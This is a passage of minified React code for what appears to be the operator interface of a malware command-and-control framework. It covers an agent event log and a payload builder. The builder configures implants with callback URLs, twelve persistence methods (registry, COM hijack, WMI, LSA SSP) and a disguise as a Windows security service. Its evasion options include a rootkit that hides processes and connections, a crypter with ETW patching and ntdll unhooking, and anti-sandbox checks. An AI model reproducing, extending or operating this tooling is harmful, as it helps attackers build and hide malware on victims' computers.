transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),s.jsx(n5,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>U(!1)}),z&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>O(null),children:s.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:_=>_.stopPropagation(),children:[s.jsxs("button",{onClick:()=>O(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim + hover:text-zerin-text text-sm transition-colors px-2 py-1 + hover:bg-white/10`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),s.jsx("img",{src:z,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function ln({label:e,active:t,onClick:n,badge:r}){return s.jsxs("button",{onClick:n,className:` + px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px + ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} + `,children:[e,r!==void 0&&s.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function lp({title:e,children:t}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),s.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function Vt({label:e,value:t,valueClass:n="",mono:r=!1}){return s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),s.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const E3={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},d2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},LU=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function IU(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState("all"),[o,l]=p.useState(null),c=p.useCallback(async()=>{try{const m=await bE();t(m)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{c()},[c]);const{lastMessage:u}=p.useContext(Gu);p.useEffect(()=>{if(u&&u.type==="event"){const m=u.payload;t(h=>{const x=[m,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(m=>m.type===i),f=1e3;return s.jsxs("div",{className:"p-6",children:[e.length>=f&&s.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[s.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),s.jsx("div",{className:"flex items-center justify-between mb-6",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[s.jsx(f2,{label:"All",active:i==="all",onClick:()=>a("all")}),LU.map(m=>s.jsx(f2,{label:E3[m],active:i===m,onClick:()=>a(i===m?"all":m)},m))]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&s.jsx("button",{onClick:()=>a("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),s.jsx("div",{children:d.map((m,h)=>s.jsx(DU,{event:m,expanded:o===m.id,onToggle:()=>l(o===m.id?null:m.id)},m.id||h))})]})]})}function DU({event:e,expanded:t,onToggle:n}){const r=d2[e.severity]||d2.info,i=e.details&&Object.keys(e.details).length>0;return s.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[s.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[s.jsx("div",{children:s.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:E3[e.type]||e.type})}),s.jsx("div",{className:"min-w-0",children:s.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:EA(e.timestamp)})})]}),t&&i&&s.jsx("div",{className:"px-4 pb-3",children:s.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[s.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),s.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([a,o])=>s.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[s.jsxs("span",{className:"text-zerin-text-muted",children:[a,":"]}),s.jsx("span",{className:"text-zerin-text",children:String(o)})]},a))})]})})]})}function f2({label:e,active:t,onClick:n}){return s.jsx("button",{onClick:n,className:` + px-3 py-1 text-xs font-medium border transition-all duration-150 + ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} + `,children:e})}const p2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function m2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const h2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],RU=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function $U(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState(!1),[o,l]=p.useState(0),[c,u]=p.useState(0),[d,f]=p.useState(""),[m,h]=p.useState(""),x=p.useSyncExternalStore(Qj,Zj),g=x.status==="building",[y,v]=p.useState(m2),[b,w]=p.useState([""]),[j,k]=p.useState("30"),[S,N]=p.useState("25"),[z,O]=p.useState(""),[E,T]=p.useState(p2),[P,U]=p.useState(!1),[K,$]=p.useState("exe"),[L,F]=p.useState(0),[W,H]=p.useState(!0),[B,q]=p.useState(!0),[X,se]=p.useState(!0),[ue,fe]=p.useState(!0),[me,Y]=p.useState(1),[te,C]=p.useState("Microsoft\\WindowsUpdate"),[A,Z]=p.useState("SecurityHealthService.exe"),[R,ae]=p.useState(null),pe=p.useCallback(async()=>{try{const V=await kE();t(V)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{pe(),NE().then(V=>{w(J=>J.length===1&&J[0]===""?[V.default_callback_url]:J)}).catch(()=>{})},[pe]),p.useEffect(()=>{if(!g||!x.startedAt){l(0),u(0);return}const V=setInterval(()=>{const oe=Math.floor((Date.now()-x.startedAt)/1e3);u(oe);const I=Math.min(95,Math.floor(100*(1-Math.exp(-oe/50))));l(I)},500),J=Math.floor((Date.now()-x.startedAt)/1e3);return u(J),l(Math.min(95,Math.floor(100*(1-Math.exp(-J/50))))),()=>clearInterval(V)},[g,x.startedAt]),p.useEffect(()=>{g&&a(!0)},[]),p.useEffect(()=>{x.status==="success"?(h(`Payload "${x.payloadName}" built successfully`),a(!1),Eg(),pe()):x.status==="error"&&(f(x.error||"Failed to build payload"),Eg())},[x.status]),p.useEffect(()=>{if(!m)return;const V=setTimeout(()=>h(""),4e3);return()=>clearTimeout(V)},[m]);function D(){v(m2()),k("30"),N("25"),O(""),T(p2),U(!1),$("exe"),F(0),H(!0),q(!0),se(!0),fe(!0),Y(1),C("Microsoft\\WindowsUpdate"),Z("SecurityHealthService.exe")}async function re(V){V.preventDefault(),f("");const J=b.filter(G=>G.trim()!=="");let oe=0;z&&(oe=Math.floor(new Date(z).getTime()/1e3));const I={name:y.trim(),callback_urls:J,sleep_interval:parseInt(j,10)||30,jitter_percent:parseInt(S,10)||25,kill_date:oe,user_agent:E.trim(),output_format:K,debug:P,persist_methods:L||void 0,rootkit_enabled:W,encryption_enabled:B,anti_vm:X,auto_elevate:ue,install_dir:me,install_subdir:te,install_filename:A};pA(I.name);try{await jE(I),mA(),D()}catch(G){G instanceof ei?Pg(G.message):Pg("Failed to build payload")}}async function _(V){const J=Ze();if(!J){f("Not authenticated");return}try{const oe=await fetch(`/api/payloads/${V.payload_id}/download`,{headers:{Authorization:`Bearer ${J}`}});if(!oe.ok){f("Download failed");return}const I=await oe.blob(),G=URL.createObjectURL(I),ie=document.createElement("a");ie.href=G;const ne=oe.headers.get("content-disposition"),ve=ne==null?void 0:ne.match(/filename="(.+?)"/);ie.download=(ve==null?void 0:ve[1])||`${V.name||"payload"}.exe`,document.body.appendChild(ie),ie.click(),document.body.removeChild(ie),URL.revokeObjectURL(G)}catch{f("Download failed")}}async function ee(V){try{await SE(V),ae(null),pe()}catch{f("Failed to delete payload")}}return s.jsxs("div",{className:"p-6",children:[s.jsxs("div",{className:"flex items-center justify-between mb-6",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),s.jsx("button",{onClick:()=>{a(!i),f("")},className:` + text-sm font-medium px-4 py-2 transition-all duration-150 + ${i?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} + `,children:i?"Cancel":"+ Build Agent"})]}),m&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:m}),i&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),d&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:d}),s.jsxs("form",{onSubmit:re,className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(tr,{label:"Payload Name",children:s.jsx("input",{type:"text",value:y,onChange:V=>v(V.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),s.jsx(tr,{label:"Output Format",children:s.jsxs("select",{value:K,onChange:V=>{const J=V.target.value;$(J),J==="exe"&&F(oe=>oe&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:"exe",children:"EXE"}),s.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsx(tr,{label:"Sleep Interval (seconds)",children:s.jsx("input",{type:"number",value:j,onChange:V=>k(V.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),s.jsx(tr,{label:`Jitter (${S}%)`,children:s.jsx("input",{type:"range",value:S,onChange:V=>N(V.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r + [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r + [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r + [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r + [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),s.jsx(tr,{label:"Kill Date",children:s.jsx("input",{type:"datetime-local",value:z,onChange:V=>O(V.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [color-scheme:dark]`})})]}),s.jsx(tr,{label:"User Agent",children:s.jsx("input",{type:"text",value:E,onChange:V=>T(V.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),s.jsx(tr,{label:"Auto-Persistence (installed on first run)",children:s.jsx("div",{className:"grid grid-cols-3 gap-2",children:RU.map(V=>{const J=V.dllOnly&&K==="exe";return s.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors + ${J?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:(L&V.flag)!==0,disabled:J,onChange:oe=>{F(oe.target.checked?L|V.flag:L&~V.flag)},className:"accent-zerin-accent"}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:V.label}),V.admin&&s.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),J&&s.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},V.flag)})})}),s.jsx(tr,{label:"Install Location (self-copy target)",children:s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),s.jsxs("select",{value:me,onChange:V=>Y(parseInt(V.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:0,children:"%TEMP%"}),s.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),s.jsx("option",{value:2,children:"%APPDATA%"}),s.jsx("option",{value:3,children:"%PROGRAMDATA%"}),s.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),s.jsx("input",{type:"text",value:te,onChange:V=>C(V.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),s.jsx("input",{type:"text",value:A,onChange:V=>Z(V.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]})]})}),s.jsxs(tr,{label:"Evasion",children:[s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("input",{type:"checkbox",checked:W,onChange:V=>H(V.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:B,onChange:V=>q(V.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),s.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 + ${B?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[s.jsx("input",{type:"checkbox",checked:X,disabled:!B,onChange:V=>se(V.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:ue,onChange:V=>fe(V.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),s.jsxs("div",{className:"flex items-center justify-between pt-2",children:[s.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[s.jsx("div",{onClick:()=>U(!P),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer + ${P?"bg-zerin-accent":"bg-zinc-700"}`,children:s.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 + ${P?"translate-x-4":"translate-x-0"}`})}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsx("button",{type:"button",onClick:()=>{a(!1),f("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),s.jsxs("button",{type:"submit",disabled:g,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r + px-5 py-2 transition-all duration-150\r + disabled:opacity-50 disabled:cursor-not-allowed\r + flex items-center gap-2`,children:[g&&s.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),g?"Building...":"Build"]})]}),g&&s.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[s.jsx("span",{children:(h2.filter(V=>V.at<=o).pop()??h2[0]).label}),s.jsxs("span",{className:"font-mono tabular-nums",children:[c,"s"]})]}),s.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${o}%`}})}),s.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):e.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!i&&s.jsx("button",{onClick:()=>a(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),s.jsx("div",{children:e.map(V=>{let J={};try{J=JSON.parse(V.config_json)}catch{}return s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[s.jsx("div",{children:s.jsx("span",{className:"text-sm font-medium text-zerin-text",children:V.name})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[J.sleep_interval??"—","s"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[J.jitter_percent??"—","%"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:V.agent_pubkey,children:[(V.agent_pubkey??"").slice(0,16),"..."]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-dim",children:V.built_by})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:fo(V.built_at)})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:um(V.file_size)})}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>_(V),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),R===V.payload_id?s.jsxs("div",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>ee(V.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),s.jsx("button",{onClick:()=>ae(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):s.jsx("button",{onClick:()=>ae(V.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},V.payload_id)})})]}),s.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function tr({label:e,children:t}){return s.jsxs("div",{children:[s.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const BU=[{label:"Explorer",cmd:"explorer.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 